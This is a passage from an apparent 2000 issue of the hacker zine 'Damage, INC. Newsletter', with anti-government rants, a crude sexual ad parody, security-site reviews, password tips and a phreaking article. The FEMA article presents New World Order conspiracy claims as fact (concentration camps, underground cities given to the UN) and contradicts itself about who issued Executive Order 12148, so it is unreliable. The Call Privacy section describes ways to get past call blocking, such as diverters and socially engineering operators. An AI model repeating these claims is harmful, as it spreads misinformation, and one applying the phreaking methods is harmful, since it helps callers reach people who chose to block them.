+Remember that what they have written can be extremely effective at persuading +and influencing you. It may not always be obvious. You may have to read a text +several times before realizing what its true intention is. It isn't always +crystal clear at a glance. Big Brother has become very adept at using all of +the techniques and technology discussed above. And they'll use it to their own +advantage whenever possible. The public should always be leery of what their +government prints. Personally, I don't trust anyone that trusts any government, +regardless of country or the government they have. That isn't paranoia, even +though literally any government would call it that based on my statements. But +I would much rather be called paranoid by Big Brother than be thought of as +naive and gullible by anyone else. + +Written by BLACKENED ú Damage, INC. (C)opyright 2000. + + +HRDC's Big Brother Database. + +So you've read about TEMPEST, ECHELON, CCTV (Closed Circuit Television) cameras, +DNRs (Dialed Number Recorders) and various other types of taps and bugs, etc. +Indeed, Big Brother *is* watching and listening. So what, right? Well, if +you're a Canadian citizen, this article may be of particular interest to you. +Why? The reason is simple. You may not be aware of just how much highly +personal, sensitive information about you is being compiled into a database and +stored together. Has your interest been peaked yet? Read on then. + +A branch of the Canadian government, known as Human Resources Development +Canada (HRDC), was recently exposed. It was revealed that they have a huge, +comprehensive database that contains sensitive information on over 30 million +Canadian citizens, living and deceased. Each individual file in the database +may contain more than 2,000 separate pieces of information on a person. It's +known by them as the Longitudinal Labour Force File. To the rest of us, +including mass media organizations, it has been called the Big Brother File or +Database. And the second description is much more fitting. Perhaps this news +isn't shocking to many of you. But maybe the fact that the government claims +they're planning on dismantling it is. + +I've included several articles on this flagrant Big Brother attack on personal +privacy in the Reports from the Front section for people that want further +details to read. Also, after being on Hack Canada (www.hackcanada.com) the +other night, and having read their excellent file on the Big Brother Database, +there's no reason to rewrite what they wrote. So, I'd advise that you visit +their site, and read "Canada's Big Brother: HRDC and The Longitudinal Labour +Force File." It's well worth the read, and includes valuable information on +how to obtain a copy of the personal file that they have on you. I've +personally made a request to obtain a copy of my own file. + +That being said, I would still like to voice my opinions on the matter. My +attitude is, while I have the opportunity, why waste a good soapbox with a +captive audience? Anyway, it should be obvious to anyone that the Canadian +government has blatantly violated our right to privacy. And while doing so, +they've put the security of the information in their database at risk. +Literally anyone could (and still can) gain access to another person's file, +and in the process, find out a vast amount about them. That's inexcusable in +my opinion. First, the mere fact that such a database actually exists is wrong +and completely unethical alone. Second, the fact that the security of it could +be compromised so easily, and the information could be shared and sold, etc. +is disgusting. In the very least, safeguards should have been in place. Then +again, how can we expect the Canadian government to install security and use +strong encryption when all they do is discourage it? They're only good at +collecting data on the citizens of this country, not protecting it. They have +gathered massive amounts of information on everyone and left it totally +unsecured. If that doesn't piss you off, nothing will. If the fact that *you* +are in a gigantic database doesn't anger you, then there's no absolutely no hope +for you. You're owned by Big Brother. + +To conclude this short article, I want to make it clear that this is just the +start people. This is just the proverbial tip of the iceberg. There are still +many covert things going on that have yet to be uncovered. There are things +that we can only speculate on, or simply don't know about at all yet. But, I +suggest that you attempt to find out as much as possible. You can begin by +requesting a copy of your file from Human Resources Development Canada. Don't +stop there though. Continue to seek information about what the Canadian +government is doing, and do your own research. Think about what we don't know +about Big Brother, their hidden agenda and activities. In the meantime, we'll +do our very best to help keep you informed. + +As each day passes, we are beginning to learn more and more about how the +government acts and behaves. Their corrupt practices are coming to light. They +are slowly being exposed. Big Brother has lived hiding in the shadows long +enough. Now is the time to take action. What better time than now? + +Written by THC Phreak ú Damage, INC. (C)opyright 2000. + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +NWO Part 4: What is FEMA? + +In issue 9 of the Damage, INC. Newsletter, I introduced you to several powerful, +secret organizations that are intent on implementing a New World Order. +However, they need an administrative organization to get their objectives done +for them. Especially in the United States, where freedom and patriotism are +stronger than in most other countries. + +There is a powerful, quasi-secret entity that has been created by past American +presidents to do just that. I believe that FEMA, or the Federal Emergency +Management Agency is conspiring against U.S. citizens, and is easily capable of +becoming the "secret government" of the NWO in the U.S. This article will be +dedicated to exposing FEMA, and to show you that is has the political power and +material resources to take control of the United States of America. + +FEMA was created when Executive Order Number 12148 was implemented then +President Richard Nixon. Obviously, it is not an elected body. It does not +involve itself in public disclosures, and it even has a secret budget in the +hundreds of billions of dollars. This organization has more power than the +President of the United States or the Congress. In fact, once active it would +literally have power OVER "the people of the United States of America". It has +the power to suspend laws and the Constitution, move entire populations, arrest +and detain citizens without a warrant and hold them without trial. FEMA can +also seize property, food supplies, and transportation systems. + +The original "concept" of FEMA was to ensure that the U.S. Government still +functioned after the United States was attacked by nuclear weapons. Secondary +FEMA functions are to be "a federal coordinating body during times of domestic +disasters, such as earthquakes, floods and hurricanes." + +FEMA's enormous powers can be activated very quickly. In any form of domestic +or foreign problem, perceived and not always actual, emergency powers can be +enacted. The President of the United States now has broader powers to declare +martial law, which activates FEMA's extraordinary powers. Martial law can be +declared during time of increased tension overseas, economic problems within the +United States, such as a depression, civil unrest, demonstrations or scenes like +the Los Angeles riots, and in a drug crisis. These Presidential powers have +increased with successive Crime Bills, particularly the 1991 and 1993 Crime +Bills. These new laws increase the power to suspend the rights guaranteed under +the Constitution and to seize property from those suspected of being drug +dealers and individuals who participate in a public protest or demonstration. +Under emergency plans already in existence, the power exists to suspend the +Constitution and turn over the reigns of government to FEMA and appointing +military commanders to run state and local governments. FEMA then would have +the right to order the detention of anyone whom there is reasonable ground to +believe...will engage in, or probably conspire with others to engage in acts of +espionage or sabotage. The plan also allows for and authorizes the immediate +establishment of concentration camps for detaining the accused, without trial. + +It is FEMA that is the administrative arm of the NWO. It is FEMA that will run +and fill the concentration camps that I talked about in the 12th issue of the +Damage, INC. Newsletter. It is FEMA that will execute Operation Garden Plot +that I wrote about in issue #13 of the DIN. That is because during his +presidency, Jimmy Carter issued Executive Order 12148 on July 20, 1979. This +Executive Order places all of the powers listed in my issue #12 "Concentration +Camps" article plus many other totalitarian powers under the sole control of +FEMA. Carter also gave FEMA many powers previously held only by the President +of the United States, such as full control of the U.S. Armed Forces. That's +right, when FEMA is given the green light, THEY will be in control of all +divisions of the Armed Forces. Of course these actions are against the +Constitution, but the members of Congress were either unaware or unwilling to +challenge all of these freedom-killing Executive Orders that have been put into +place. Just more evidence that Congress is controlled by the NWO leadership. + +Listed below are other powers not related directly to Executive Orders that +FEMA has gained. These powers were transferred to FEMA in 1979. This is by no +means a complete list: + +- The National Security Act of 1947, which allows for the strategic + relocation of industries, services, government and other essential + economic activities, and to rationalize the requirements for + manpower, resources and production facilities; + +- The 1950 Defense Production Act, which gives the President sweeping + powers over all aspects of the economy; + +- The Act of August 29, 1916, which authorizes the Secretary of the + Army, in time of war, to take possession of any transportation system + for transporting troops, material, or any other purpose related to + the emergency; and the International Emergency Economic Powers Act, + which enables the President to seize the property of a foreign + country or national. + +The most frightening fact is once martial law is initiated, and FEMA is +mobilized, there are no provisions that will bring back the Constitution. +FEMA would have to willingly give control back to the Constitutional +processes...like the President, Congress, etc. Of course, if or when FEMA is +mobilized, it will most likely be because the NWO leadership is ready to take +physical control of the U.S. Citizens would be forced into slave labour, and +the armed forces would keep them there for fear of being enslaved themselves. +FEMA control means the death of all freedom in the U.S. + +Despite the power that it wields, and the secrecy that it chooses to exist +under, FEMA's corruptness has been briefly brought to light on a few occasions. +Once such event was when Hurricane Andrew caused tremendous damage to southern +Florida. As Russell R. Dynes, director of the Disaster Research Center of the +University of Delaware, wrote in The World and I, "...The eye of the political +storm hovered over the Federal Emergency Management Agency. FEMA became a +convenient target for criticism." Because FEMA was accused of dropping the ball +in Florida, the media and Congress commenced to study this agency. What came +out of the critical look was that FEMA covering up spending "12 times more for +``black operations'' than for disaster relief." + +FEMA spent $1.3 billion building secret bunkers throughout the United States in +anticipation of government disruption by foreign or domestic upheaval. Yet +fewer than 20 members of Congress, only members with top security clearance, +know of the $1.3 billion expenditure by FEMA for non-natural disaster +situations. These few Congressional leaders state that FEMA has a "black +curtain" around its operations. FEMA has worked on National Security programs +since 1979, and its predecessor, the Federal Emergency Preparedness Agency, has +secretly spent millions of dollars before being merged into FEMA by President +Carter in 1979. + +FEMA has developed 300 sophisticated mobile units that are capable of sustaining +themselves for a month. The vehicles are located in five areas of the United +States. They have tremendous communication systems and each contains a +generator that would provide power to 120 homes each, but they have NEVER been +used for disaster relief. As I've mentioned before in past articles, there have +been many sightings of unmarked black helicopters. It appears that these +helicopters are under the command of FEMA on behalf of the UN. + +I have found that the "underground bunkers" mentioned above is a gross +understatement. Other investigative research indicates that over 60 secret +underground virtual cities, built by the government, Federal Reserve Bank +owners, and high ranking members of the Committee of 300 (another +Illuminati-type "elite" organization). Some of these underground areas can be +seen in Kansas City, Missouri and Kansas City, Kansas. In addition, underground +Satellite Tracking Facilities exist, which have the ability to punch your 911 +address into the computer, and within seconds a satellite can bring a camera to +bear on your property to the point that those monitoring it can read clearly +the articles of the newspaper on your doorstep. These facilities have as of +Oct. 1, 1994, been turned over to the power of the United Nations. The fact +that FEMA turned over this network of underground cities to the United Nations +is another indication that the NWO's right arm in the United States is FEMA. +Indeed, it's a very suspicious, ominous move to say the least. + +It is evident that the Illuminati already have control of the world economy. +Anytime they feel it is time to enslave the citizens of the United States, +FEMA is poised and ready to perform already planned actions, like Operation +Garden Plot. The fact that FEMA dedicates few or none of its resources for the +needs of American citizens in crisis situations should be a great indication +that this organization is conspiring against them. The only hope is that the +men and women in the Armed Forces will not blindly obey FEMA's orders when +martial law is imposed. All Americans dedicated to freedom and the spirit of +the Constitution must prepare for the worst, because FEMA already has. + +Written by Shatazar ú Damage, INC. (C)opyright 2000. + + +CORRUPTION AND GREED - {GREED} +Banking on Greed. + +Various types of corruption and greed are such powerful, pervasive, consuming +forces in today's technologically advanced, modern, civilized, so-called +"society" that I feel obligated to continue writing about them, and how to +combat them. It's necessary to have that knowledge so that you don't become +another victim to them, unknowingly exploited. If you choose to allow yourself +to be knowingly exploited, there's nothing that can be written that'll prevent +that. However, for those that do want to know how to avoid being victimized +by the corruption and greed that exists all around us, continue reading. The +rest, the ones that trumpet the heralds of Capitalism, think that it's pure +and believe it's totally without fault, you might as well skip this article. + +Banks and certain other financial organizations are built on greed, driven by +greed, and are institutions of greed. Rather than being about providing +services to paying customers, in exchange for making a reasonable profit, they +are only about accumulating wealth. They don't just store money and give out +loans to those in need of them. + +Banks are greed warehouses. They're quite simply the pillars of greed in the +community. What they're about is greed. Their goal is greed. Their means to +that goal is corruption. Through corrupt practices and the use of propaganda, +they're able to influence the masses and maintain a false image of being fair, +honourable businesses that provide a necessary service to the public. And +they've done quite well at being deceitful and hiding their fakeness over the +decades in which they've existed. In fact, most people don't even question +their need for having a bank account, cheques, debit cards, credit cards, +investments, etc. They've grown so accustomed to using their Bank, and its +services, that they don't even realize how reliant they are on them. Nor do the +majority of people ever question their necessity. The Banks have also been very +successful at giving people a false sense of security. People just take it for +granted, and never think twice about it. + +They've been duped, fooled and influenced so many times that they simply can't +imagine not storing their money, investing their money, or borrowing money, +from the large Banks. To them, it isn't just a convenience. It's much more +than that. The Banks play a big role in their lives. Not only is cashing +their pay cheque at the local Bank a part of their routine, it's a right of +passage in entering adulthood. Just as getting their first credit card is +looked at as coming of age. But it goes way beyond that. They rely on the +Bank to handle all of their finances, store their financial information, sell +it, and generally rule them. They rely on the Banks for loans and mortgages. +They depend on them. They don't own their houses, the Bank does. And the Bank +can take it away from them at any time. They don't own their cars either. +Hell, they don't even own themselves. The Bank owns them. + +And what about security? Is a 4 digit PIN really enough to prevent someone +else from accessing your account, and helping themselves to your life savings? +Well, according to the Banks, it definitely is. In their minds, that's all +the security you need to feel comfortable. Meanwhile, nobody needs your credit, +bank, debit or Interac card to steal your money. They just have to be able +to access your account by phone and transfer the funds. Therefore, the security +of your money relies on a 4 digit access code -- the same number of digits, the +same level of security, as many PBXs, extenders, VMBs and answering machines +use. Someone gaining access to listen to messages on your personal answering +machine is one thing. Accessing your money is quite another. And yet, the same +security scheme exists. Is that logical? Are the Banks offering their +customers a safe level of protection and security? They take measures to +protect themselves, but not their customers. + +Are credit cards secure? What about ATMs and debit card transactions over +Interac? Are packet switching networks secure enough to prevent someone from +monitoring traffic and obtaining information so that they can commit fraud? +What about banking by phone? Have the Banks taken measures to secure those +transactions? Or are they more concerned about employing fewer Bank tellers? +What about the unsecure practice of discarding boxes filled with documents +containing customer's information by leaving it on the sidewalk, in front of the +building? Certain Banks have been caught that. Is that a good policy? Is that +a secure means of disposal for sensitive information? No, of course not. Yet, +a rather large Canadian Bank, known as The Bank of Montreal, was exposed for +doing just that. The papers, many with credit card information, were shown +literally blowing down the sidewalk, right on television. Apparently they had +been dumped there for the night, in unsealed cardboard boxes. The documents +weren't shredded. They weren't in a locked dumpster. The Bank wasn't concerned +about who would have access to them. The Bank wasn't concerned about their +customers. Their private and personal financial information meant nothing to +them. To the greedy Banks, you're nothing more than a number. What doesn't +concern them should definitely concern you. Corruption and greed are their only +concerns. They're banking on it. + +Written by THC Phreak ú Damage, INC. (C)opyright 2000. + + +Statistics Canada will gladly rape you. + +It has recently been reported by the mass media (CBC's show, Undercurrents) +that Statistics Canada is guilty of selling the information that they acquire +through various means, including the yearly census forms, door-to-door surveys, +telephone surveys, etc. They're also accused of selling information that's +contained on the tax forms of citizens. Large data mining companies buy the +information, and sort through it for their clients, which include some of the +biggest corporations in this country. Some of the client companies that want +the information are established and very well known, like Sears and TD Bank. +Others are lesser known, and want information to target potential consumers. +Basically, the information that they seek is where you live, your income, what +you buy, how much you buy, what you spend, and so on. And Stats Canada is more +than willing to sell this information in order to profit. Big surprise. This +new "revelation" only confirms what I've previously said in the Damage, INC. +Newsletter (read issue #4) about this corrupt government organization. They +are, without a doubt, an agency without any ethics and morals. They don't +respect the privacy of Canadian citizens. They don't respect our rights. Nor +do they hesitate to make threats over the phone about imprisoning people for +choosing not to answer their questions. They abuse every power that's bestowed +upon them. They use every shred of information they can get in order to profit. +But they aren't going to obtain any information from me. At least, I won't +willingly relinquish it to them. + +In a strange, almost absurd way, I'd like to be able to claim that in some small +way I'm a patriotic Canadian citizen. But I can no longer do that honestly. It +would have to be said in jest, or dishonestly, as a complete lie. It's actually +sad that I can't honestly say I'm loyal to this country anymore. The reason I'm +mentioning this is because I recently watched a spy program on TLC that really +made me think. And it provoked me to realize that I'm not much different than +the people they profiled... people that were disloyal to their countries, by way +of spying for another nation. I used to believe that it would be impossible for +me to ever do something like that, or even consider it. In essence, to become a +traitor to my country was just unimaginable. But now, that has definitely all +changed. I simply cannot say with any real certainty that if I gained access to +sensitive information (such as on CSIS, Department of National Defense or CSE), +that I wouldn't become a spy in exchange for a reasonable amount of money. As +in, I wouldn't be greedy, or driven to act on greed, but I'd want enough that I +could escape and live comfortably elsewhere for the rest of my life securely. +I can't honestly say that I wouldn't betray this country by giving its secrets +away to another nation. I can't say that I wouldn't be beyond putting the +national security of this country at risk. And I definitely can't say that I +respect this country, its government, police, CSIS and agencies like Stats +Canada, etc. That's really sad. It's a realization that I don't like. But +it's true. I'm capable of selling this country out. Not for money, but out of +a lack of pride and respect for the government and its various agencies. And, +out of a hatred for some of this country's corrupt government agencies. + +I used to consider myself as being a true patriot -- a person that was valiantly +and nobly fighting to improve this country, and speaking out against the wrongs +that are in it. However, I now think that it's so corrupt that it needs to be +destroyed and rebuilt. I no longer consider myself to be a patriot. I'm no +longer loyal to this country... and would be willing to give up my citizenship +if that request was made. I simply cannot respect a country that doesn't +respect me, and my rights as an individual. Nor do I want to have citizenship +in a nation that preys upon its citizens, and uses threats as a means of +controlling them. In my opinion, no one should be imprisoned for not answering +questions. The government doesn't have the right to invade someone's privacy, +and attempt to coerce or force them into answering whatever they decide to ask. +That isn't freedom. That isn't liberty. And it shouldn't be a part of any +'democratic' system of government. Stats Canada agents make unsolicited phone +calls to citizens, that are harassing and filled with threats, and they just +expect people to comply by answering their prying questions. It's unreasonable, +unacceptable, and should be *illegal* in my opinion. Choosing not to answer is +grounds for imprisonment according to them. Either you opt to relinquish your +personal information and privacy, or they'll send you to prison and try to +remove your freedom. Given that choice, I'll take prison, anyday. They can +lock me behind bars, but they can't take my freedom, personal information, +ideas, opinions and thoughts away from me. + +In my view, government agencies like Stats Canada are nothing more than Thought +Police. They're the right arm of Big Brother, and they should be exposed at +every opportunity. I realize that once you speak out against them, you become +a visible target. Regardless of that, and any consequences I might face, I'm +not going to be silenced. Not now, not ever. It's disturbing to think of how +they exploit people, and what their motives are, but it's something that should +definitely be thought about and discussed openly more often. People need to +know what's really going on in this country. They need to ask questions, become +informed, learn the truth, and learn ways to fight against the corruption that +exists. Hopefully this article has opened a few eyes and minds. If it has done +that, then at least that's a start. + +Rather than being proud to be a Canadian, living in this country has made me +bitter and jaded. This country and the puppets that are handed power sicken me. +Canada isn't progressing. It's decaying. And it's infested with zombies that +are so indifferent that they won't revolt no matter what is done to them. Hell, +they think nothing of answering to Statistics Canada or any other government +agency that decides to interrogate them. They're just happy to speak with +someone in the government on the phone. They'll gladly be raped by Stats Canada +and tell them everything they want to know, right down to what toothbrush, +toothpaste and birth control they prefer to use. That isn't just a random, +fictional example either. That's actually something Stats Canada is interested +in knowing, and has been known to ask people. Unlike them, I won't answer to +Stats Canada or any other faction of Big Brother. I've already refused their +requests to obtain information on me. And I'll continue to deny them access. + +Freedom, liberty, justice and the rights of the individual, including personal +privacy are all things that are unimportant in the life of a zombie. To them, +it's much more important to follow the rules that are set for them by their +master, namely, Big Brother. There's no need for me to try to convince you of +that fact. It's been clearly established. But if you want further proof, just +observe them and you'll come to that conclusion on your own. Large-scale +protests are so rare, so few and far between in this country that a person would +be hard pressed to notice any difference between Canada and China. In many +respects, the Chinese citizens (the ones that zombies call dissidents), are much +more aggressive and speak out more often than Canadians do. They, like myself, +would rather be labelled a dissident, and speak out, than just sit back and take +it. They would rather die for freedom than live in slavery. They would rather +die at the hands of their oppressors than kneel to be fed by them. Unlike the +Canadian zombies that fear and abide by Stats Canada, they'd rather fight to be +free than live as a lackey. The real fools are the people that shake their +naive heads in disbelief when told we're not free. The ones that actually +believe we have individual freedom and social justice. The truth is, we don't. +Simply for refusing to answer questions from a Stats Canada agent can mean an +automatic prison sentence. That isn't democracy. That isn't freedom. That +isn't liberty. That's injustice. That's Stats Canada. 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So, drop that can +of Jolt Cola (or alcoholic beverage), and get yerself some OpenCOLA! + + You're sitting at home on the couch, it's 2am, watching your +videotaped reruns of 'Kojack' and leeching Metallica MP3z, just +because you can. A knock on the door. It's your friend Sarah, +and her girlfriend Beth. + + They kick back on the sofa and fire up a phatty. The girls +get real comfortable and start mugging down. Oh yeah. Before you +know it, Beth's got her hand up Sarah's skirt and Beth's tank top +is on the floor. You're chill, you're observing the scene. + + Sarah looks up from Beth's nipple to moan, "You got any OpenCOLA?" + + Of course you do. You're 'l33t. + + "Then get some. And GET S0ME!!#@$!@!" + + Get open for OpenCOLA + + www.opencola.com + It's a distributed search engine/agent. + And a soft drink. + Gee whillikers! + + +DAMAGE, INC. REVIEWS - {REVIEWS} +H/P and Security Web Sites. + +To continue the tradition, we've selected quality h/p and security web sites, +isolated them from the fold, and reviewed them. In this issue, there are +some outstanding sites that definitely deserve to be listed and part of our +reviews. For links to these and other related sites, visit our links page. + + +@Stake +www.atstake.com + +@Stake is a startup, premiere security firm that's infiltrated the mass media's +headlines and the vocabulary of the general public... due in no small part to +Mudge and L0pht's involvement. It's a new venture, but already well known. +The merger between @Stake and L0pht was well publicized. + +On the site itself, there's an assortment of information on Solutions (security +services @Stake provides), People (including Mudge of course), Careers, News +(Events and Press), a FAQ to answer questions concerning L0pht and @Stake, and +a contact list. The site is well designed, and @Stake offers an array of +infosec services. + + +SecurityFocus.com +www.securityfocus.com + +SecurityFocus is an excellent security web site that has quality information on +vulnerabilities. It also has news (a wide variety of articles are written and +posted frequently), advisories, tools, forums, mailing lists, links, products +and services. Kevin Poulsen (a well known hacker) is the new editorial director +for SecurityFocus. + +I recommend that you visit SecurityFocus often, as the site is updated +frequently. You should also join their mailing list as it's a good, reliable +source of security information. It's an easy way to receive regular updates +concerning vulnerabilities and things of that nature. And the SecurityFocus.com +Newsletter always proves to be a good read, with reliable information. + + +Pure Security Networks +www.pure-security.net + +Pure Security Networks (PSN) offers the visitors to its site an archive of +exploits, advisories, news and links. They also have information on their +security services and projects. Overall, it's a fairly decent security site. + + +Zero-Knowledge +www.zeroknowledge.com + +Zero-Knowledge is a company based in Montreal, Quebec. Its site gained some +attention after Intel's Pentium III chip was released, and Zero-Knowledge +exposed a flaw in its serial number code security. Zero-Knowledge produces +a prominent piece of software called "Freedom" that offers users privacy and +security through encryption. It's one of the commercial products they've +created that promotes privacy on the Internet, which is something they have +become famous for doing. They're also well known in Montreal for their unique +approach to business and advertising methods, such as their moving billboard +truck that drives around the city in order to inform people that they're hiring +workers for many job positions. ;) Encouraging the use of strong encryption +on the Internet and privacy protection is something that I simply cannot fault. + + +Attrition +www.attrition.org + +Sure, you've probably seen their archive of hacked web sites. Hell, you've +most likely read articles in which attrition.org was mentioned. And if you +read Phrack, and the Phrack World News section, you've probably seen it a lot, +along with jericho's Email address. But have you actually visited the site and +gone through the pages it hosts? If you haven't, man are you missing something. +Attrition contains information on everything from security info, a hacked sites +mirror archive, text archive, news to user pages, etc. It also hosts various +zines. Overall, it's a very interesting site and one of my personal favourites. + + +newOrder +http://neworder.box.sk + +newOrder is another well known, frequently visited site. But popularity won't +discourage me from reviewing it, as that isn't the only factor to consider. +If you're looking for h/p and security sites and haven't checked it out yet, +I strongly suggest that you do. It has security links, news, forums, hosted +projects and zines, an exploits archive, a hacked sites archive, zine articles, +etc. It's an excellent site and a great place to search for h/p sites. + + +Mojave Desert Phone Booth +www.deuceofclubs.com/moj/mojave.html + +There are other web sites dedicated to the Mojave Desert Phone Booth, but this +one probably deserves the official title. If you have a interest in phones, +especially strange, unique payphones, this is definitely a site you should check +out. It's a shrine to one of the world's most remote, famous payphones. And +that's saying something, since there are millions of payphones and most never +achieve any level of fame or notoriety. But the MDPB has managed to do that in +spades. In fact, it has inspired people from all over to go on pilgrimages to +see it standing in the middle of the Mojave in all its glory. And people from +every corner of the planet know its number, and they call hoping that someone +answers. Sometimes someone does, and that person's name is Charlie. ;) + +Many people that've made the journey have written stories about their trip, +taken pictures and generously shared them with others. + +I've personally called, and it's quite a feeling just knowing that you're making +a payphone in the middle of the Mojave Desert is ring. I dialed and got a busy +signal one night. I kept autodialing until I got through, but nobody answered. +So, that just proves how many people call that payphone. It's probably one of +the most called payphones in the world. And I'm sure the incoming calls it +receives far outnumber the amount of outgoing calls that are placed from it. + +Who would've thought that a payphone booth in the middle of the Mojave, that's +more than 10 miles from the nearest highway... would survive all of these years. +Let's hope it never dies, and continues to accept incoming calls. + +Update: The Mojave Desert Phone Booth was removed recently by Pacific Bell. +Thankfully, I was able to talk with Charlie and someone else before it was taken +out of service. For more information, read the short paragraph I wrote in the +News section. + + +H/P INFORMATION - {H/P} + +I had planned to include several other articles, including ones on Canadian +COCOTs and Nortel Meridian phones. However, in order to avoid further delays in +releasing this issue, they'll be in the next issue. + + +Bell Canada's Call Privacy. + +Call Privacy is a new service that Bell Canada has recently begun advertising. +Subscribers pay a monthly fee for the Call Privacy service. They must also +subscribe to Caller-ID in order for it to work. It's virtually the same service +that Ameritech offers and has had in place for quite some time. Since Ameritech +now owns part of Bell, they have a say in what features are implemented, and +services that are offered to customers, etc. Call Privacy is now offered by +Bell Canada in both Ontario and Quebec. As for the other Canadian provinces, +I don't know if it's available across the country in every area yet. However, +I'm sure it's only a matter of time before every major local telco in North +America offers this feature to people willing to pay for it. And there are +always plenty of people willing to pay extra for special features like this. + + +Features: + +Here's a summary of Bell's Call Privacy service SmartTouch features, taken +directly from bell.ca + + Call Privacy service, along with Bell Call Display service, + helps you gain more control over unidentified and unwanted + calls to your home and gives you flexibility and peace of mind + when it comes to your personal or family time. + + With this new service, you will enjoy many benefits: + + * Identify callers to your home or block calls from callers + that will not identify themselves. No more surprises from + unidentified Telemarketers or other unwanted calls! + * Stop certain callers, whom you determine, from getting + through to your phone. + * Stop the phone from ringing when you want to, by sending + calls directly to your voice mailbox (if you also + subscribe to Bell Call Answer or Call Answer Plus + service). + + With Call Privacy service, you will have greater control over + what you value most. Your own personal time. + + Call Privacy service is available as an individual service or + as part of our NEW Simple Connections Privacy bundle. + + * Bell Call Privacy service and other Bell SmartTouch services + are only available where technology permits. You must have Bell + Call Display and Bell Touch-Tone services to subscribe to Bell + Call Privacy service. + + +How it works: + +If you scan extensively, you'll eventually encounter a line that won't accept +calls from parties that choose to block their number. Normally, a short +recorded message is played before you're disconnected. It notifies you that +the number you've called doesn't accept any calls from blocked numbers. +Sometimes it'll tell you to call back without dialing *67, or something along +those lines. + +Call Privacy can also block calls from certain phone numbers that you define. +In other words, numbers that you've decided you don't want to receive calls +from, and are determined to prevent. That's nothing new. It's the same as +Call Blocking, which has been in existence for quite a few years now. + +It basically reroutes your call so that it never rings the destination line, if +you use *67 (or another method of blocking) when dialing. + +If anyone wants a more detailed, technical explanation of how it actually works, +contact me. + + +Why people use it: + +Many individuals don't want to receive calls from telemarketing firms that block +access to their phone number. Telemarketers commonly use autodialers to dial +thousands of telephone numbers, while shielding the origin of their calls. +Frequently these calls are annoying, invasive, and can even be construed as +being harassing. Since they're unsolicited, many people become angry over +receiving phone calls from companies that are trying to peddle something or +other. And that's understandable. So, in an effort to prevent such annoyances, +they're opting for Call Privacy. That way, they won't have to answer the phone +during dinner time, only to realize that it's a company trying to influence them +into buying magazines, or switch long distance carriers. + +Others simply don't want to receive any calls from anyone that uses *67 to block +their number. Or, they've received calls from people that don't talk, prank +them, or keep hanging up and the person has blocked their number. So, they +subscribe to Call Privacy in an attempt to prevent those calls from making their +phone ring. + +Companies are a different story altogether. Most large corporations (with toll +free customer service numbers especially) monitor all calls. They play a short +warning message notifying you of that after their automated systems answer. In +other words, they want the right to monitor and record all calls made to them. +Yet, they don't want to respect the right to the individual's privacy, and +demonstrate that by not accepting any calls made using *67, or another means to +block the number. Basically, they want it both ways. They don't want you to +be able to maintain your privacy, and once connected, they want to take as much +away as possible. This can really interfere with scanning, and means you have +to call back the number using a different method in order to properly identify +it. More than anything else, it's an inconvenience and waste of time. + + +How it can be defeated: + +Defeating or circumventing Call Privacy is actually an easy task to accomplish. +Obviously the most simple way is to use payphones to call anyone that's known +to subscribe to it. The payphone's number will show up on Caller-ID, but the +call will be put through normally (ie, their phone will ring)... and you avoid +having your home phone number displayed in the process. That method is for +people that only know how to use *67 to block their number, and have to use +payphones as their only other option of maintaining anonymity. + +Another method is dialing through a diverter. Any local extender, PBX, or +VMB system that diverts will do. Just make sure you check to ensure it diverts +first by calling an ANI. If the number of the diverter is read back to you, +it's safe to use it. Otherwise, try calling a local Operator and social +engineer them into dialing the person's number for you. Op diverting still +works in many areas. Again, check to make sure your number isn't passed along +in the packet by getting the Op to call an ANI. In some areas, that method +won't work as only the NPA is sent, so it might be treated as a blocked call. + +You can also use a pre-paid calling card to make the call. That way, your call +will go through and your anonymity is intact. + +There are several other ways, such as using call forwarding (obviously that +requires being setup first), dialing out through a Conference, and signaling +methods, etc. Hell, if you're skilled and knowledgeable enough to reprogram +switches, then Call Privacy isn't even a speed bump, much less a real obstacle. +I don't really think it's geared towards stopping anyone that has that level +of knowledge anyway though. (ie, real phreaks -- not K0d3z Kidz) And, of +course, there are quite a few other options available to people that live +outside of Canada. Or, if you're call is long distance/international instead +of just local. + +In conclusion, if you want to remain anonymous, and still wish to call numbers +that subscribe to Bell's Call Privacy, it is possible. You just need to use +some of the above techniques, like diverting, payphones, junction boxes, etc. +Or, think of other ways and develop your own techniques to use. By no means +have I thought of everything imaginable and included it in this brief article. +If you want to keep your privacy and right to make phone calls anonymously, +then try out some of the above instead of immediately calling Call Privacy +subscribing numbers back and relinquishing your call info. + +Written by THC Phreak ú Damage, INC. (C)opyright 2000. + + +Secure Password Selection. + +Alright, this is a very basic article relating to selecting passwords. It's +all very straightforward, and should be common sense. However, some people +still don't know how to choose a password that will be secure. So, I've +decided to outline a few simple principles on password selection, and release +it as a short article. These are general password procedures, and not designed +for any specific type of computer/operating system. Hopefully these tips will +benefit people and help them learn about how to choose passwords wisely. + +Good/secure passwords and procedures: + +- Never write down your passwords on paper. Even if they're stored in what + you believe is a secure place, they could still be found and used. +- Never put your logins and passwords in plaintext files. If you absolutely + must store them in text files, use encryption, compress and password protect + them. But then you'll have to remember those passwords, so that defeats the + purpose of storing that information in files. Unless you have a single pass + phrase for encrypting all files with, that you'll be able to remember. +- Don't forget your password. If you do forget, choose a new password and + then contact the sysadmin immediately and tell them to change it. That's + a good test of the system as well, since it'll show you how easily they can + be social engineered. If they don't ask for any identification before + changing your password, it shows their security is very lax. If that's the + case, inform them and switch to using another system with better security + practices and procedures. There's no sense in having an account on a system + with sysadmins that'll give out users' passwords without asking for any ID. +- If you suspect your password was changed, contact and alert the sysadmin + immediately. Instruct them to change it as soon as possible. And use one + that's more difficult to guess, and can't be found in a dictionary file. +- On systems that are case sensitive, use upper and lower case characters in + your password to increase security. (ie, if the system recognizes "pAsswOrd" + as being different from "password") +- If the system accepts alphanumeric password (letters and numbers), then mix + numbers into your password. Or substitute numbers for certain letters. For + example, "53cur17y9" is much more difficult to crack than just "security". + But, that's just an example. Don't use that word in any variation. +- If non-alphanumeric characters (punctuation characters such as "!") are + allowed, use at least one somewhere in the password. +- Use the maximum number of characters allowed for your password. The security + increases exponentially with each additional character used. Same goes with + passcodes for VMBs, PINs for cards, etc. Always use as many characters as + possible. A 10 digit, random PIN is much more difficult to crack than a + 4 digit PIN. The same rule applies to other passwords. +- If you think a password could be easily guessed, it probably could. +- Always use a password that's unique to that particular system. +- Nonsense "words" and alphanumeric letter combinations are best. +- Words in a foreign language (avoid English, French, Russian and Spanish) + are safer, but still aren't fool proof. If the person happens to be using + a dictionary file in that language, your password will be cracked. +- If you accidentally enter a password on system A that's actually for an + account on system B, change both passwords as soon as possible to be 